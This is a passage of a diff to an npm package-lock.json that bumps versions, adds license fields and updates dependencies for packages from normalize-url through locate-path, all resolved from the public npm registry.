       "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
       "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -13404,6 +12648,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
       "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.0.0"
       },
@@ -13415,6 +12660,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
       "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "boolbase": "^1.0.0"
       },
@@ -13423,14 +12669,16 @@
       }
     },
     "node_modules/nwsapi": {
-      "version": "2.2.7",
-      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz",
-      "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="
+      "version": "2.2.20",
+      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.20.tgz",
+      "integrity": "sha512-/ieB+mDe4MrrKMT8z+mQL8klXydZWGR5Dowt4RAGKbJ3kIGEx3X4ljUo+6V73IXtUPWgfOlU5B9MlGxFO5T+cA==",
+      "license": "MIT"
     },
     "node_modules/object-assign": {
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
       "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -13439,27 +12687,16 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
       "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
     },
     "node_modules/object-inspect": {
-      "version": "1.13.1",
-      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz",
-      "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==",
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
-    "node_modules/object-is": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz",
-      "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==",
-      "dev": true,
-      "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3"
-      },
+      "version": "1.13.4",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+      "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -13471,18 +12708,22 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
       "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/object.assign": {
-      "version": "4.1.5",
-      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz",
-      "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==",
+      "version": "4.1.7",
+      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",
+      "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
         "define-properties": "^1.2.1",
-        "has-symbols": "^1.0.3",
+        "es-object-atoms": "^1.0.0",
+        "has-symbols": "^1.1.0",
         "object-keys": "^1.1.1"
       },
       "engines": {
@@ -13493,26 +12734,30 @@
       }
     },
     "node_modules/object.entries": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.7.tgz",
-      "integrity": "sha512-jCBs/0plmPsOnrKAfFQXRG2NFjlhZgjjcBLSmTnEhU8U6vVTsVe8ANeQJCHTl3gSsI4J+0emOoCgoKlmQPMgmA==",
+      "version": "1.1.9",
+      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz",
+      "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.1.1"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/object.fromentries": {
-      "version": "2.0.7",
-      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.7.tgz",
-      "integrity": "sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==",
+      "version": "2.0.8",
+      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",
+      "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -13522,15 +12767,18 @@
       }
     },
     "node_modules/object.getownpropertydescriptors": {
-      "version": "2.1.7",
-      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.7.tgz",
-      "integrity": "sha512-PrJz0C2xJ58FNn11XV2lr4Jt5Gzl94qpy9Lu0JlfEj14z88sqbSBJCBEzdlNUCzY2gburhbrwOZ5BHCmuNUy0g==",
+      "version": "2.1.8",
+      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.8.tgz",
+      "integrity": "sha512-qkHIGe4q0lSYMv0XI4SsBTJz3WaURhLvd0lKSgtVuOsJ2krg4SgMw3PIRQFMp07yi++UR3se2mkcLqsBNpBb/A==",
+      "license": "MIT",
       "dependencies": {
         "array.prototype.reduce": "^1.0.6",
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "safe-array-concat": "^1.0.0"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2",
+        "es-object-atoms": "^1.0.0",
+        "gopd": "^1.0.1",
+        "safe-array-concat": "^1.1.2"
       },
       "engines": {
         "node": ">= 0.8"
@@ -13540,37 +12788,29 @@
       }
     },
     "node_modules/object.groupby": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.2.tgz",
-      "integrity": "sha512-bzBq58S+x+uo0VjurFT0UktpKHOZmv4/xePiOA1nbB9pMqpGK7rUPNgf+1YC+7mE+0HzhTMqNUuCqvKhj6FnBw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz",
+      "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==",
+      "license": "MIT",
       "dependencies": {
-        "array.prototype.filter": "^1.0.3",
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.7",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.3",
-        "es-errors": "^1.0.0"
-      }
-    },
-    "node_modules/object.hasown": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.3.tgz",
-      "integrity": "sha512-fFI4VcYpRHvSLXxP7yiZOMAd331cPfd2p7PFDVbgUsYOfCT3tICVqXWngbjr4m49OvsBwUBQ6O2uQoJvy3RexA==",
-      "dependencies": {
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "es-abstract": "^1.23.2"
       },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/object.values": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.7.tgz",
-      "integrity": "sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz",
+      "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -13582,12 +12822,14 @@
     "node_modules/obuf": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
-      "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg=="
+      "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==",
+      "license": "MIT"
     },
     "node_modules/on-finished": {
       "version": "2.4.1",
       "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
       "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+      "license": "MIT",
       "dependencies": {
         "ee-first": "1.1.1"
       },
@@ -13599,6 +12841,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
       "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
@@ -13607,6 +12850,7 @@
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
       "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "license": "ISC",
       "dependencies": {
         "wrappy": "1"
       }
@@ -13615,6 +12859,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
       "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+      "license": "MIT",
       "dependencies": {
         "mimic-fn": "^2.1.0"
       },
@@ -13629,6 +12874,7 @@
       "version": "8.4.2",
       "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz",
       "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==",
+      "license": "MIT",
       "dependencies": {
         "define-lazy-prop": "^2.0.0",
         "is-docker": "^2.1.1",
@@ -13642,25 +12888,44 @@
       }
     },
     "node_modules/optionator": {
-      "version": "0.9.3",
-      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz",
-      "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==",
+      "version": "0.9.4",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
+      "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
+      "license": "MIT",
       "dependencies": {
-        "@aashutoshrathi/word-wrap": "^1.2.3",
         "deep-is": "^0.1.3",
         "fast-levenshtein": "^2.0.6",
         "levn": "^0.4.1",
         "prelude-ls": "^1.2.1",
-        "type-check": "^0.4.0"
+        "type-check": "^0.4.0",
+        "word-wrap": "^1.2.5"
       },
       "engines": {
         "node": ">= 0.8.0"
       }
     },
+    "node_modules/own-keys": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz",
+      "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==",
+      "license": "MIT",
+      "dependencies": {
+        "get-intrinsic": "^1.2.6",
+        "object-keys": "^1.1.1",
+        "safe-push-apply": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/p-limit": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
       "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+      "license": "MIT",
       "dependencies": {
         "yocto-queue": "^0.1.0"
       },
@@ -13675,6 +12940,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
       "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^3.0.2"
       },
@@ -13690,6 +12956,7 @@
       "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
       "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "aggregate-error": "^3.0.0"
       },
@@ -13704,6 +12971,7 @@
       "version": "4.6.2",
       "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz",
       "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/retry": "0.12.0",
         "retry": "^0.13.1"
@@ -13716,14 +12984,22 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
       "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
+    "node_modules/package-json-from-dist": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
+      "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==",
+      "license": "BlueOak-1.0.0"
+    },
     "node_modules/param-case": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
       "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==",
+      "license": "MIT",
       "dependencies": {
         "dot-case": "^3.0.4",
         "tslib": "^2.0.3"
@@ -13733,6 +13009,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
       "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+      "license": "MIT",
       "dependencies": {
         "callsites": "^3.0.0"
       },
@@ -13744,6 +13021,7 @@
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
       "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.0.0",
         "error-ex": "^1.3.1",
@@ -13760,12 +13038,14 @@
     "node_modules/parse5": {
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
-      "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="
+      "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==",
+      "license": "MIT"
     },
     "node_modules/parseurl": {
       "version": "1.3.3",
       "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
       "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
@@ -13774,6 +13054,7 @@
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
       "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
+      "license": "MIT",
       "dependencies": {
         "no-case": "^3.0.4",
         "tslib": "^2.0.3"
@@ -13783,6 +13064,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
       "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -13791,6 +13073,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
       "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -13799,6 +13082,7 @@
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -13806,48 +13090,45 @@
     "node_modules/path-parse": {
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
-      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+      "license": "MIT"
     },
     "node_modules/path-scurry": {
-      "version": "1.10.1",
-      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.1.tgz",
-      "integrity": "sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==",
+      "version": "1.11.1",
+      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
+      "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
+      "license": "BlueOak-1.0.0",
       "dependencies": {
-        "lru-cache": "^9.1.1 || ^10.0.0",
+        "lru-cache": "^10.2.0",
         "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
       },
       "engines": {
-        "node": ">=16 || 14 >=14.17"
+        "node": ">=16 || 14 >=14.18"
       },
       "funding": {
         "url": "https://github.com/sponsors/isaacs"
       }
     },
     "node_modules/path-scurry/node_modules/lru-cache": {
-      "version": "10.2.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.2.0.tgz",
-      "integrity": "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q==",
-      "engines": {
-        "node": "14 || >=16.14"
-      }
+      "version": "10.4.3",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+      "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+      "license": "ISC"
     },
     "node_modules/path-to-regexp": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
-      "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
+      "version": "1.9.0",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.9.0.tgz",
+      "integrity": "sha512-xIp7/apCFJuUHdDLWe8O1HIkb0kQrOMb/0u6FXQjemHn/ii5LrIzU6bdECnsiTF/GjZkMEKg1xdiZwNqDYlZ6g==",
+      "license": "MIT",
       "dependencies": {
         "isarray": "0.0.1"
       }
     },
-    "node_modules/path-to-regexp/node_modules/isarray": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-      "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ=="
-    },
     "node_modules/path-type": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
       "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -13855,17 +13136,20 @@
     "node_modules/performance-now": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
-      "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow=="
+      "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
+      "license": "MIT"
     },
     "node_modules/picocolors": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
-      "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ=="
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "license": "ISC"
     },
     "node_modules/picomatch": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
       "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8.6"
       },
@@ -13878,6 +13162,7 @@
       "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.5.0.tgz",
       "integrity": "sha512-9nxspIM7OpZuhBxPg73Zvyq7j1QMPMPsGKTqRc2XOaFQauDvoNz9fM1Wdkjmeo7l9GXOZiRs97sPkuayl39wjA==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "pidtree": "bin/pidtree.js"
       },
@@ -13889,14 +13174,16 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
       "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/pirates": {
-      "version": "4.0.6",
-      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
-      "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
+      "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -13905,6 +13192,7 @@
       "version": "4.2.0",
       "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
       "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+      "license": "MIT",
       "dependencies": {
         "find-up": "^4.0.0"
       },
@@ -13916,6 +13204,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -13928,6 +13217,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
